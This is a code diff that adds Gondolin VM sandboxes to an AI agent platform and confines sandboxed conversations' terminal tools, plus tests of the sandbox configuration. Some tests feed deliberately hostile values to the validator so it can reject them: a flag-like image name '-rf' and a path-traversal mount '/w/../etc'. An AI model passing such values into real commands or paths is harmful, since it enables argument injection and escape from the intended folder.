import { Connection, detectPlatform, openTerminal, type RemoteTerminal } from "@earendil-works/pi-env";
|
||||
import { takeProcessLock } from "../../src/runtime/process-lock.ts";
|
||||
import { localSystem, requireTerminalSupport, terminalDaemon } from "./daemon.ts";
|
||||
import { terminalHostAddress, terminalHostVersion } from "./detached.ts";
|
||||
import { envRevision, loadEnvs, sshOptions } from "./envs.ts";
|
||||
import { connectionRevision, envConnection, loadEnvs, sandboxHost, sshOptions } from "./envs.ts";
|
||||
import {
|
||||
BLINK,
|
||||
BOLD,
|
||||
|
|
@ -81,6 +81,8 @@ try {
|
|||
const address = await terminalHostAddress(directory);
|
||||
// We hold the lock: a socket file left behind is a killed host's.
|
||||
if (!address.startsWith("\0") && !address.startsWith("\\\\")) await rm(address, { force: true });
|
||||
/** The envs plugin's sandbox launcher (this host is a separate program, not a facet: no `pluginFile`). */
|
||||
const sandboxLauncher = fileURLToPath(new URL("../envs/sandbox/", import.meta.url));
|
||||
const version = await terminalHostVersion(fileURLToPath(new URL("../../", import.meta.url)));
|
||||
const ghostty = await Ghostty.load(await readFile(new URL("vendor/ghostty/ghostty-vt.wasm", import.meta.url)));
|
||||
|
||||
|
|
@ -198,16 +200,23 @@ async function connection(env: string | null): Promise<{ connection: Connection;
|
|||
}
|
||||
return { connection: await entry.connection, shellEnv: {} };
|
||||
}
|
||||
const config = (await loadEnvs(directory))[env];
|
||||
const configs = await loadEnvs(directory);
|
||||
const config = configs[env];
|
||||
if (!config) throw new Error(`Unknown environment ${env}`);
|
||||
const revision = envRevision(config);
|
||||
const revision = connectionRevision(configs, config);
|
||||
let entry = connections.get(env);
|
||||
if (!entry || entry.revision !== revision) {
|
||||
const target = sshOptions(directory, env, config);
|
||||
const started = (async () => {
|
||||
// A sandbox runs its host's daemon in its VM (both Linux on the host's architecture).
|
||||
const target =
|
||||
config.type === "ssh" ? sshOptions(directory, env, config) : await sandboxHost(directory, env, config.host);
|
||||
const remote = await detectPlatform(target);
|
||||
const binary = await terminalDaemon(remote.platform, remote.arch, false);
|
||||
const daemon = sshConnection({ ...target, binary, onLog: (text) => log(`pi-env ${env}: ${text}`) }).connection;
|
||||
const daemon = envConnection(directory, env, config, {
|
||||
launcher: sandboxLauncher,
|
||||
binary,
|
||||
onLog: (text) => log(`pi-env ${env}: ${text}`),
|
||||
}).connection;
|
||||
try {
|
||||
await requireTerminalSupport(daemon);
|
||||
return daemon;
|
||||
|
|
@ -224,7 +233,10 @@ async function connection(env: string | null): Promise<{ connection: Connection;
|
|||
}
|
||||
return {
|
||||
connection: await entry.connection,
|
||||
shellEnv: { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) },
|
||||
shellEnv:
|
||||
config.type === "ssh"
|
||||
? { ...(config.shellEnv ?? {}), ...(config.shellPath ? { SHELL: config.shellPath } : {}) }
|
||||
: {},
|
||||
};
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -94,11 +94,17 @@ const ResultSchema = obj({
|
|||
});
|
||||
type Result = Static<typeof ResultSchema>;
|
||||
|
||||
/** The extension offering the `terminal` tool, reached as `reach` says. */
|
||||
/** Where the calling conversation works, and the sandbox it is confined to, if any. */
|
||||
export type TerminalCaller = (api: ToolExecutionApi, context: Context) => Promise<{ here: Location; sandbox?: string }>;
|
||||
|
||||
/**
|
||||
* The extension offering the `terminal` tool, reached as `reach` says. A caller confined to a sandbox reaches only the
|
||||
* session's terminals in that sandbox: the others run outside it.
|
||||
*/
|
||||
export function createTerminalExtension(
|
||||
reach: TerminalReach,
|
||||
backend: TerminalBackend,
|
||||
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
|
||||
caller: TerminalCaller,
|
||||
): Extension {
|
||||
return defineExtension({
|
||||
name: TERMINAL_EXTENSION,
|
||||
|
|
@ -125,7 +131,7 @@ export function createTerminalExtension(
|
|||
throw error;
|
||||
}
|
||||
try {
|
||||
const { result, terminalId } = await run(command, backend, locate, api, context);
|
||||
const { result, terminalId } = await run(command, backend, await caller(api, context), api, context);
|
||||
return {
|
||||
output: [{ type: "text", text: describe(result) }],
|
||||
structuredOutput: result,
|
||||
|
|
@ -154,24 +160,31 @@ function failure(text: string): ToolExecutionResult {
|
|||
async function run(
|
||||
command: TerminalCommand,
|
||||
backend: TerminalBackend,
|
||||
locate: (api: ToolExecutionApi, context: Context) => Promise<Location>,
|
||||
{ here, sandbox }: { here: Location; sandbox?: string },
|
||||
api: ToolExecutionApi,
|
||||
context: Context,
|
||||
): Promise<{ result: Result; terminalId?: string }> {
|
||||
const key = String(api.taskId);
|
||||
// Checked on reruns too (remembered terminals included): the conversation may have been moved into a sandbox since.
|
||||
const reachable = <T extends { env: string | null }>(terminal: T): T => {
|
||||
if (sandbox !== undefined && terminal.env !== sandbox)
|
||||
throw new Error(`That window runs outside sandbox ${sandbox}, where you work; it is not yours to use.`);
|
||||
return terminal;
|
||||
};
|
||||
const read = async (args: Parameters<TerminalBackend["read"]>[0]) => {
|
||||
const value = await backend.read(args, context);
|
||||
return { result: readResult(value), terminalId: value.terminal.id };
|
||||
};
|
||||
switch (command.command) {
|
||||
case "new-window": {
|
||||
const here = await locate(api, context);
|
||||
const directory = command.directory;
|
||||
const location =
|
||||
directory === undefined
|
||||
? here
|
||||
: { env: here.env, cwd: isRooted(directory) ? directory : joinPath(here.cwd, directory) };
|
||||
const opened = await backend.open(
|
||||
// A rerun gets the window its first run opened, which may be outside a sandbox entered since.
|
||||
const opened = reachable(
|
||||
await backend.open(
|
||||
{
|
||||
key,
|
||||
location,
|
||||
|
|
@ -179,36 +192,41 @@ async function run(
|
|||
...(command.shellCommand ? { command: command.shellCommand } : {}),
|
||||
},
|
||||
context,
|
||||
),
|
||||
);
|
||||
const wait = waitOf(command, { kind: "quiet" }, DEFAULT_TIMEOUT_S);
|
||||
return read({ target: opened.id, from: 0, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "list-windows": {
|
||||
const windows = await backend.list(context);
|
||||
const windows = (await backend.list(context)).filter(
|
||||
({ terminal }) => sandbox === undefined || terminal.env === sandbox,
|
||||
);
|
||||
return { result: { windows: windows.map(({ terminal, foreground }) => windowOf(terminal, foreground)) } };
|
||||
}
|
||||
case "send-keys": {
|
||||
const start = await readStart(command.target, backend, api, context);
|
||||
const start = await readStart(command.target, backend, reachable, api, context);
|
||||
await backend.send({ key, target: start.id, keys: command.keys, literal: command.literal }, context);
|
||||
const wait = waitOf(command, { kind: "quiet" }, SEND_TIMEOUT_S);
|
||||
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "read": {
|
||||
const start = await readStart(command.target, backend, api, context);
|
||||
const start = await readStart(command.target, backend, reachable, api, context);
|
||||
const wait = waitOf(command, { kind: "none" }, DEFAULT_TIMEOUT_S);
|
||||
return read({ target: start.id, from: start.offset, ...(wait ? { wait } : {}) });
|
||||
}
|
||||
case "capture-pane": {
|
||||
const { target, scrollback, escapes } = command;
|
||||
const { scrollback, escapes } = command;
|
||||
// Captured by the checked window's id: its number could be another window's by now.
|
||||
const target = reachable((await backend.cursor(command.target, context)).terminal).id;
|
||||
const { terminal, text } = await backend.capture({ target, scrollback, escapes }, context);
|
||||
return { result: { ...stateOf(terminal), ...cut(text, 0) }, terminalId: terminal.id };
|
||||
}
|
||||
case "kill-window": {
|
||||
// A rerun closes the window the first attempt found, never another that took its number since.
|
||||
const known = await api.memo<{ id: string; window: number }>("window", context);
|
||||
const target = known ?? (await backend.cursor(command.target, context)).terminal;
|
||||
const known = await api.memo<{ id: string; window: number; env: string | null }>("window", context);
|
||||
const target = reachable(known ?? (await backend.cursor(command.target, context)).terminal);
|
||||
const window = "window" in target ? target.window : target.index;
|
||||
await api.memo("window", { id: target.id, window }, context);
|
||||
await api.memo("window", { id: target.id, window, env: target.env }, context);
|
||||
await backend.close({ key, target: target.id }, context);
|
||||
return { result: { window, killed: true } };
|
||||
}
|
||||
|
|
@ -219,13 +237,15 @@ async function run(
|
|||
async function readStart(
|
||||
target: string,
|
||||
backend: TerminalBackend,
|
||||
reachable: <T extends { env: string | null }>(terminal: T) => T,
|
||||
api: ToolExecutionApi,
|
||||
context: Context,
|
||||
): Promise<{ id: string; offset: number }> {
|
||||
const known = await api.memo<{ id: string; offset: number }>("start", context);
|
||||
if (known) return known;
|
||||
const known = await api.memo<{ id: string; offset: number; env: string | null }>("start", context);
|
||||
if (known) return reachable(known);
|
||||
const { terminal, offset } = await backend.cursor(target, context);
|
||||
return api.memo("start", { id: terminal.id, offset }, context);
|
||||
reachable(terminal);
|
||||
return api.memo("start", { id: terminal.id, offset, env: terminal.env }, context);
|
||||
}
|
||||
|
||||
/** The wait a command asks for, or its default; none for `-w none`. */
|
||||
|
|
|
|||
|
|
@ -2,12 +2,18 @@
|
|||
// session's worker, at the calling conversation's location. It follows the code mode switch as MCP tools do: for
|
||||
// scripts while code mode is on, loaded with `tool_search` while it is off.
|
||||
|
||||
import type { Extension, ToolExecutionApi } from "@earendil-works/pi-durable";
|
||||
import type { Extension } from "@earendil-works/pi-durable";
|
||||
import { type Context, type Ctx, contribute, defineFacet, expectVariant } from "@p2/app/v1";
|
||||
import { ExtensionSwitches } from "@p2/app/v1/node";
|
||||
import { Extensions, harnessOf, workerOf } from "@p2/app/v1/worker";
|
||||
import { AgentTerminals } from "./contract.ts";
|
||||
import { createTerminalExtension, TERMINAL_EXTENSION, type TerminalBackend, type TerminalReach } from "./tool.ts";
|
||||
import {
|
||||
createTerminalExtension,
|
||||
TERMINAL_EXTENSION,
|
||||
type TerminalBackend,
|
||||
type TerminalCaller,
|
||||
type TerminalReach,
|
||||
} from "./tool.ts";
|
||||
|
||||
/** The code mode plugin's extension: its switch is on while the `codemode` setting is, absent without the plugin. */
|
||||
const CODEMODE_EXTENSION = "codemode";
|
||||
|
|
@ -31,10 +37,13 @@ export default defineFacet((host) => {
|
|||
capture: (args, context) => via((server, ctx) => server.capture(args, ctx), context),
|
||||
close: (args, context) => via((server, ctx) => server.close(args, ctx), context),
|
||||
};
|
||||
const locate = (api: ToolExecutionApi, context: Context) =>
|
||||
harness().environments.locate(api.conversationId, context, api);
|
||||
const caller: TerminalCaller = async (api, context) => {
|
||||
const here = await harness().environments.locate(api.conversationId, context, api);
|
||||
const sandbox = await harness().environments.sandbox(here.env);
|
||||
return sandbox === undefined ? { here } : { here, sandbox };
|
||||
};
|
||||
const offer = (reach: TerminalReach) => ({
|
||||
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, locate),
|
||||
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, caller),
|
||||
});
|
||||
let offered: TerminalReach = "codemode";
|
||||
const extension = self.writable<Readonly<Record<string, Extension>>>(offer(offered));
|
||||
|
|
|
|||
|
|
@ -174,8 +174,13 @@ export type Machine = { at: (cwd: string) => ExecutionEnv; close: () => void };
|
|||
export type HarnessEnvironmentEntry = {
|
||||
/** The machine of the remote environment `env`. Connecting may wait for its first operation. */
|
||||
open: (env: string) => Promise<Machine>;
|
||||
/** The SSH host environment `env`'s tools run on, for the prompt's `cwd` section. */
|
||||
readonly host?: (env: string) => Promise<string | undefined>;
|
||||
/** Where environment `env`'s tools run, for the prompt's `cwd` section, e.g. `the SSH host gpu-box`. */
|
||||
readonly describe?: (env: string) => Promise<string | undefined>;
|
||||
/**
|
||||
* Whether environment `env` is a sandbox, decided by its configuration's type (never its name): conversations
|
||||
* working there cannot leave it. Cheap: read on every confinement check.
|
||||
*/
|
||||
readonly sandbox: (env: string) => boolean;
|
||||
};
|
||||
export const HarnessEnvironments = keyedRegistry<HarnessEnvironmentEntry>("p2.harness-environments");
|
||||
|
||||
|
|
@ -463,8 +468,25 @@ export type ExecutionEnvironments = {
|
|||
locate(id: ConversationId, context: Context, read?: DocumentReader): Promise<Location>;
|
||||
/** The environment at `location`: one per directory, on one connection per machine, opened at its first use. */
|
||||
at(location: Location): Promise<ExecutionEnv>;
|
||||
/** `env` itself when it is a sandbox (see `HarnessEnvironmentEntry.sandbox`), else undefined; this device never is. */
|
||||
sandbox(env: string | null): Promise<string | undefined>;
|
||||
};
|
||||
|
||||
/**
|
||||
* The sandbox conversation `id` is confined to: the environment it works in, when that is a sandbox. Decided from its
|
||||
* current location at each call, so it holds per conversation (a subagent placed in a sandbox is confined, its main
|
||||
* agent elsewhere is not) and follows moves.
|
||||
*/
|
||||
export async function conversationConfinement(
|
||||
environments: ExecutionEnvironments,
|
||||
id: ConversationId,
|
||||
context: Context,
|
||||
read?: DocumentReader,
|
||||
): Promise<{ sandbox: string } | undefined> {
|
||||
const sandbox = await environments.sandbox((await environments.locate(id, context, read)).env);
|
||||
return sandbox === undefined ? undefined : { sandbox };
|
||||
}
|
||||
|
||||
/** Where conversation `id` works and its environment there. */
|
||||
export async function conversationEnvironment(
|
||||
environments: ExecutionEnvironments,
|
||||
|
|
@ -486,6 +508,7 @@ export async function conversationEnvironment(
|
|||
class Execution implements ExecutionEnvironments {
|
||||
#session: Location;
|
||||
readonly #open: (env: string | null, signal: AbortSignal) => Promise<Machine>;
|
||||
readonly #sandbox: (env: string, signal: AbortSignal) => Promise<boolean>;
|
||||
readonly #own: (
|
||||
read: DocumentReader | undefined,
|
||||
id: ConversationId,
|
||||
|
|
@ -500,12 +523,18 @@ class Execution implements ExecutionEnvironments {
|
|||
constructor(
|
||||
session: Location,
|
||||
open: (env: string | null, signal: AbortSignal) => Promise<Machine>,
|
||||
sandbox: (env: string, signal: AbortSignal) => Promise<boolean>,
|
||||
own: (read: DocumentReader | undefined, id: ConversationId, context: Context) => Promise<Location | undefined>,
|
||||
) {
|
||||
this.#session = session;
|
||||
this.#open = open;
|
||||
this.#sandbox = sandbox;
|
||||
this.#own = own;
|
||||
}
|
||||
async sandbox(env: string | null): Promise<string | undefined> {
|
||||
if (env === null) return undefined;
|
||||
return (await this.#sandbox(env, this.#closing.signal)) ? env : undefined;
|
||||
}
|
||||
get session(): Location {
|
||||
return this.#session;
|
||||
}
|
||||
|
|
@ -645,12 +674,15 @@ function openHarness(self: Self, init: WorkerInit, location: SessionLocation): H
|
|||
const remote = await whenPresent(environments, "remote", signal);
|
||||
return remote.open(env);
|
||||
};
|
||||
/** Whether a remote environment is a sandbox, once the plugin providing them is there. */
|
||||
const sandbox = async (env: string, signal: AbortSignal): Promise<boolean> =>
|
||||
(await whenPresent(environments, "remote", signal)).sandbox(env);
|
||||
const place = async (harness: DurableHarness, at: Location, context: Context) =>
|
||||
(await placements.value.get("subagents")?.place(harness, at, values, context)) ?? { followers: [], own: [] };
|
||||
let reader: DocumentReader | undefined;
|
||||
const execution: Native<Execution> = self.open(
|
||||
async () => {
|
||||
const created = new Execution(location.value, open, async (read, id, context) => {
|
||||
const created = new Execution(location.value, open, sandbox, async (read, id, context) => {
|
||||
const documents = read ?? reader;
|
||||
if (!documents) throw new Error("The session's Harness is not open");
|
||||
return placements.value.get("subagents")?.own(documents, id, context);
|
||||
|
|
|
|||
|
|
@ -17,6 +17,7 @@ import {
|
|||
BranchIcon,
|
||||
ChevronIcon,
|
||||
FolderIcon,
|
||||
LockIcon,
|
||||
MoonIcon,
|
||||
PencilIcon,
|
||||
PinIcon,
|
||||
|
|
@ -294,6 +295,7 @@ export const Drawer = memo(function Drawer({
|
|||
onEnvs,
|
||||
onOwnerLink,
|
||||
guest,
|
||||
sandboxes,
|
||||
}: {
|
||||
onSearch?: (query: string, archived: boolean) => Promise<SearchResults>;
|
||||
/** Restores an archived session and opens it (at `conversationId`, a message hit's). */
|
||||
|
|
@ -316,6 +318,8 @@ export const Drawer = memo(function Drawer({
|
|||
onEnvs: () => void;
|
||||
onOwnerLink: () => void;
|
||||
guest?: Grant;
|
||||
/** Environments that are sandboxes (the owner's view): their groups show a lock. */
|
||||
sandboxes?: ReadonlySet<string>;
|
||||
}) {
|
||||
const [query, setQuery] = useState("");
|
||||
const [archived, setArchived] = useState(false);
|
||||
|
|
@ -432,6 +436,11 @@ export const Drawer = memo(function Drawer({
|
|||
<section key={location} className="group">
|
||||
<h3 title={first ? `${first.env ? `${first.env}:` : ""}${first.cwd}` : location}>
|
||||
<FolderIcon />
|
||||
{first?.env && sandboxes?.has(first.env) && (
|
||||
<span className="group-lock" title="Sandbox">
|
||||
<LockIcon size={12} />
|
||||
</span>
|
||||
)}
|
||||
<span className="group-label">{location}</span>
|
||||
{onNewIn && !archived && first && (
|
||||
<button
|
||||
|
|
|
|||
|
|
@ -94,6 +94,13 @@ export const FolderIcon = ({ size = 16 }: { size?: number }) => (
|
|||
<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z" />
|
||||
</Icon>
|
||||
);
|
||||
/** A padlock: a sandboxed environment. */
|
||||
export const LockIcon = ({ size = 14 }: { size?: number }) => (
|
||||
<Icon size={size}>
|
||||
<rect x="5" y="11" width="14" height="10" rx="2" />
|
||||
<path d="M8 11V7a4 4 0 0 1 8 0v4" />
|
||||
</Icon>
|
||||
);
|
||||
/** A window with a prompt. */
|
||||
export const TerminalIcon = ({ size = 15 }: { size?: number }) => (
|
||||
<Icon size={size}>
|
||||
|
|
|
|||
|
|
@ -3787,3 +3787,13 @@ button.history-edge:disabled {
|
|||
color: var(--muted);
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
|
||||
/* The lock of a sandboxed location: in the top bar's location line and on sidebar groups. */
|
||||
.title-lock {
|
||||
display: inline-flex;
|
||||
margin-right: 3px;
|
||||
vertical-align: -1px;
|
||||
}
|
||||
.group-lock {
|
||||
display: inline-flex;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -282,7 +282,7 @@ test(
|
|||
assert(trusted.ok, trusted.ok ? "" : trusted.error);
|
||||
assert.equal(trusted.home, home);
|
||||
// The folder picker warms every environment's connection first (Pi Mobile's `envs` with `warm`).
|
||||
assert.equal(await envs.warm(BACKGROUND_CONTEXT), undefined);
|
||||
assert.equal(await envs.warm(BACKGROUND_CONTEXT), null);
|
||||
assert.equal((await envs.listDirectory({ env: "box", path: "~" }, BACKGROUND_CONTEXT)).path, home);
|
||||
const uploadedKey = await envs.uploadKey(
|
||||
{ name: "copy", key: readFileSync(key.identityFile, "utf8") },
|
||||
|
|
@ -411,9 +411,10 @@ test(
|
|||
await chat.send({ text: "slow-tool", requestId: "ssh-busy-edit" }, BACKGROUND_CONTEXT);
|
||||
await until(chat.view, (view) => JSON.stringify(view).includes("tool-running"));
|
||||
await until(status.statuses, (statuses) => (statuses?.[session.id]?.tasks ?? 0) > 0);
|
||||
const saved = (await envs.list(BACKGROUND_CONTEXT))[0]!;
|
||||
const saved = (await envs.list(BACKGROUND_CONTEXT))[0]!.config;
|
||||
assert.equal(saved.type, "ssh");
|
||||
await envs.save(
|
||||
{ name: "box", config: { ...saved.config, shellEnv: { P2_TEST_ENV_REVISION: "edited" } } },
|
||||
{ name: "box", config: { ...saved, shellEnv: { P2_TEST_ENV_REVISION: "edited" } } },
|
||||
BACKGROUND_CONTEXT,
|
||||
);
|
||||
await until(chat.view, (view) => results(view, "bash").some((text) => text.includes("tool-finished")), 60000);
|
||||
|
|
|
|||
|
|
@ -5,7 +5,7 @@
|
|||
import assert from "node:assert/strict";
|
||||
import { test } from "node:test";
|
||||
import { Connection } from "@earendil-works/pi-env";
|
||||
import type { EnvConfig } from "../../plugins/envs/config.ts";
|
||||
import { type EnvConfig, envRevision } from "../../plugins/envs/config.ts";
|
||||
import { EnvConnections } from "../../plugins/mcp/environments.ts";
|
||||
|
||||
const GPU: EnvConfig = { type: "ssh", host: "gpu.example" };
|
||||
|
|
@ -24,10 +24,10 @@ test("users of one environment share its connection; the last release closes it"
|
|||
opened.push(name);
|
||||
return new Connection({ command: ["/nonexistent/pi-env"] });
|
||||
});
|
||||
const first = envs.acquire("gpu", GPU);
|
||||
const second = envs.acquire("gpu", GPU);
|
||||
const first = envs.acquire("gpu", GPU, envRevision(GPU));
|
||||
const second = envs.acquire("gpu", GPU, envRevision(GPU));
|
||||
assert.equal(second.connection, first.connection);
|
||||
const other = envs.acquire("box", GPU);
|
||||
const other = envs.acquire("box", GPU, envRevision(GPU));
|
||||
assert.notEqual(other.connection, first.connection);
|
||||
assert.deepEqual(opened, ["gpu", "box"]);
|
||||
first.release();
|
||||
|
|
@ -37,7 +37,7 @@ test("users of one environment share its connection; the last release closes it"
|
|||
assert.equal(await isClosed(other.connection), false);
|
||||
other.release();
|
||||
// A new user after the last one opens a new connection.
|
||||
const again = envs.acquire("gpu", GPU);
|
||||
const again = envs.acquire("gpu", GPU, envRevision(GPU));
|
||||
assert.notEqual(again.connection, first.connection);
|
||||
assert.deepEqual(opened, ["gpu", "box", "gpu"]);
|
||||
again.release();
|
||||
|
|
@ -45,8 +45,8 @@ test("users of one environment share its connection; the last release closes it"
|
|||
|
||||
test("an edited environment is another connection; the old one stays for its users until they release it", async () => {
|
||||
const envs = new EnvConnections(() => new Connection({ command: ["/nonexistent/pi-env"] }));
|
||||
const before = envs.acquire("gpu", GPU);
|
||||
const after = envs.acquire("gpu", EDITED);
|
||||
const before = envs.acquire("gpu", GPU, envRevision(GPU));
|
||||
const after = envs.acquire("gpu", EDITED, envRevision(EDITED));
|
||||
assert.notEqual(after.connection, before.connection);
|
||||
before.release();
|
||||
assert.equal(await isClosed(before.connection), true);
|
||||
|
|
|
|||
|
|
@ -102,7 +102,8 @@ async function worker(t: test.TestContext, start: Location, machines: Record<str
|
|||
close: () => closed.push(env),
|
||||
};
|
||||
},
|
||||
host: async (env) => env,
|
||||
describe: async (env) => `the test machine ${env}`,
|
||||
sandbox: () => false,
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
|
|
|||
|
|
@ -50,10 +50,10 @@ for (const via of ["token", "relay", "proxy"] as const)
|
|||
assert.equal(stored.identityFile, join(fixture.dataDir, "ssh", "keys", "box"));
|
||||
assert.equal(await readFile(stored.identityFile, "utf8"), key);
|
||||
assert.equal((await stat(stored.identityFile)).mode & 0o777, 0o600);
|
||||
const published = await until(
|
||||
envs.envs,
|
||||
(entries) => entries?.[0]?.config.identityFile === stored.identityFile,
|
||||
);
|
||||
const published = await until(envs.envs, (entries) => {
|
||||
const config = entries?.[0]?.config;
|
||||
return config?.type === "ssh" && config.identityFile === stored.identityFile;
|
||||
});
|
||||
assert(!JSON.stringify(published).includes("PRIVATE KEY"));
|
||||
await assert.rejects(envs.uploadKey({ name: "box", key: "invalid" }, BACKGROUND_CONTEXT), /private key/i);
|
||||
await assert.rejects(envs.uploadKey({ name: "box", key: "PRIVATE KEY".repeat(2000) }, BACKGROUND_CONTEXT));
|
||||
|
|
|
|||
497
apps/p2/test/p2/sandboxes.test.ts
Normal file
497
apps/p2/test/p2/sandboxes.test.ts
Normal file
|
|
@ -0,0 +1,497 @@
|
|||
// Gondolin sandboxes (plugins/envs, type "gondolin"): their configuration, the launcher's arguments, and confinement:
|
||||
// a conversation working in a sandbox cannot leave it through the location tools, subagent placement or one-shot agents.
|
||||
// The VM itself runs only with P2_TEST_GONDOLIN=1 (it needs /dev/kvm and QEMU >= 7.2 or Docker, and downloads the guest
|
||||
// image on first use), with pi-env's Linux daemon for this machine (static: the guest is Alpine) from P2_TEST_DAEMON or
|
||||
// pi-env's package.
|
||||
|
||||
import assert from "node:assert/strict";
|
||||
import { type ChildProcess, execFileSync, spawn } from "node:child_process";
|
||||
import { copyFileSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { createServer, Socket } from "node:net";
|
||||
import { homedir, tmpdir, userInfo } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { test } from "node:test";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import type {
|
||||
ConversationId,
|
||||
ConversationView,
|
||||
DocumentReader,
|
||||
ToolExecutionApi,
|
||||
ToolExecutionResult,
|
||||
} from "@earendil-works/pi-durable";
|
||||
import { Connection, localDaemon, RemoteExecutionEnv } from "@earendil-works/pi-env";
|
||||
import { compile } from "@earendil-works/pi-schema";
|
||||
import { BACKGROUND_CONTEXT, type Location } from "@p2/app/v1";
|
||||
import { WebSocket } from "ws";
|
||||
import { Chat } from "../../plugins/chat/contract.ts";
|
||||
import {
|
||||
type EnvsConfig,
|
||||
envRevision,
|
||||
isSandbox,
|
||||
loadEnvs,
|
||||
parseEnvs,
|
||||
saveEnv,
|
||||
validateEnv,
|
||||
} from "../../plugins/envs/config.ts";
|
||||
import { connectionRevision } from "../../plugins/envs/connection-revision.ts";
|
||||
import { Envs } from "../../plugins/envs/contract.ts";
|
||||
import { remoteSession } from "../../plugins/envs/remote-env.ts";
|
||||
import {
|
||||
launcherId,
|
||||
runLauncher,
|
||||
sandboxArgument,
|
||||
sandboxKey,
|
||||
sandboxRevision,
|
||||
} from "../../plugins/envs/sandbox-host.ts";
|
||||
import { LauncherCheckSchema } from "../../plugins/envs/sandbox-schema.ts";
|
||||
import type { EnvInfo } from "../../plugins/locations/contract.ts";
|
||||
import { createLocationExtension, sandboxAt } from "../../plugins/locations/tool.ts";
|
||||
import { Sessions } from "../../plugins/sessions/contract.ts";
|
||||
import { InheritedLocation, Subagents } from "../../plugins/subagents/contract.worker.ts";
|
||||
import { ownLocation, placeTarget, type SubagentLocator } from "../../plugins/subagents/tools.ts";
|
||||
import { Terminals } from "../../plugins/terminals/contract.ts";
|
||||
import type { TerminalEvent } from "../../plugins/terminals/protocol.ts";
|
||||
import { conversationConfinement, type ExecutionEnvironments } from "../../src/runtime/worker.ts";
|
||||
import { holdIn, poll, startFixture, until } from "./helpers.ts";
|
||||
|
||||
const slayer = { type: "ssh" as const, host: "slayer.example" };
|
||||
const box = {
|
||||
type: "gondolin" as const,
|
||||
host: "slayer",
|
||||
mounts: [{ host: "~/sbx/box1", guest: "/workspace" }],
|
||||
allowHosts: ["registry.npmjs.org", "*.github.com"],
|
||||
};
|
||||
const envs: EnvsConfig = { slayer, box1: box };
|
||||
const sandboxDir = new URL("../../plugins/envs/sandbox/", import.meta.url);
|
||||
|
||||
test("sandbox configuration: validated alone and against its host", async () => {
|
||||
assert.deepEqual(validateEnv(box), box);
|
||||
for (const mounts of [
|
||||
[{ host: "relative/path", guest: "/w" }],
|
||||
[{ host: "~/a", guest: "relative" }],
|
||||
[{ host: "~/a", guest: "/" }],
|
||||
[{ host: "~/a", guest: "/w/../etc" }],
|
||||
[
|
||||
{ host: "~/a", guest: "/w" },
|
||||
{ host: "~/b", guest: "/w" },
|
||||
],
|
||||
])
|
||||
assert.throws(() => validateEnv({ ...box, mounts }), /folder|sandbox|Two folders|configuration/i);
|
||||
assert.throws(() => validateEnv({ ...box, allowHosts: ["a b"] }), /allowed host/);
|
||||
assert.throws(() => validateEnv({ ...box, host: "Not An Env" }), /host environment/);
|
||||
assert.throws(() => validateEnv({ ...box, image: "-rf" }), /image/);
|
||||
// SSH fields are not part of a sandbox: its connection goes through its host.
|
||||
assert.throws(() => validateEnv({ ...box, user: "root" }), /configuration/);
|
||||
assert.throws(() => parseEnvs(JSON.stringify({ box1: box })), /not an SSH environment/);
|
||||
assert.throws(() => parseEnvs(JSON.stringify({ other: box, slayer: { ...box, host: "other" } })), /not an SSH/);
|
||||
assert.deepEqual(parseEnvs(JSON.stringify(envs)), envs);
|
||||
assert.equal(isSandbox(envs, "box1"), true);
|
||||
assert.equal(isSandbox(envs, "slayer"), false);
|
||||
assert.equal(isSandbox(envs, "constructor"), false);
|
||||
const directory = mkdtempSync(join(tmpdir(), "p2-sandbox-config-"));
|
||||
try {
|
||||
await assert.rejects(saveEnv(directory, "box1", box), /not an SSH environment/);
|
||||
await saveEnv(directory, "slayer", slayer);
|
||||
await saveEnv(directory, "box1", box);
|
||||
await assert.rejects(saveEnv(directory, "slayer", undefined), /Sandboxes run on "slayer": box1/);
|
||||
await saveEnv(directory, "box1", undefined);
|
||||
await saveEnv(directory, "slayer", undefined);
|
||||
assert.deepEqual(await loadEnvs(directory), {});
|
||||
const session = remoteSession(directory, "box1", box, "/workspace");
|
||||
assert.equal(session.remote(), undefined, "constructing a sandbox session never connects");
|
||||
assert.equal(session.env.cwd, "/workspace");
|
||||
session.connection.close();
|
||||
} finally {
|
||||
rmSync(directory, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test("a sandbox's connection revision follows its host's configuration too", () => {
|
||||
const before = connectionRevision(envs, box);
|
||||
assert.equal(connectionRevision(envs, box), before);
|
||||
assert.notEqual(connectionRevision({ ...envs, slayer: { ...slayer, port: 2222 } }, box), before);
|
||||
assert.notEqual(connectionRevision(envs, { ...box, cpus: 4 }), before);
|
||||
assert.equal(connectionRevision(envs, slayer), envRevision(slayer));
|
||||
});
|
||||
|
||||
test("launcher arguments: allowed hosts are always a list, values are quoted", () => {
|
||||
const decode = (config: typeof box) => JSON.parse(Buffer.from(sandboxArgument(config), "base64").toString("utf8"));
|
||||
// Gondolin allows every host when the list is omitted: an unset list must reach it as an empty one.
|
||||
assert.deepEqual(decode({ ...box, allowHosts: undefined } as unknown as typeof box).allowHosts, []);
|
||||
assert.deepEqual(decode(box), { mounts: box.mounts, allowHosts: box.allowHosts });
|
||||
assert.notEqual(sandboxRevision(box), sandboxRevision({ ...box, allowHosts: [] }));
|
||||
assert.equal(runLauncher("/home/a b", ["daemon", "it's"]), `sh '/home/a b/p2-sandbox.sh' 'daemon' 'it'\\''s'`);
|
||||
});
|
||||
|
||||
test("p2-sandbox.sh check reports the host as the manager expects", () => {
|
||||
const report: unknown = JSON.parse(
|
||||
execFileSync("sh", [new URL("p2-sandbox.sh", sandboxDir).pathname, "check"], { encoding: "utf8" }),
|
||||
);
|
||||
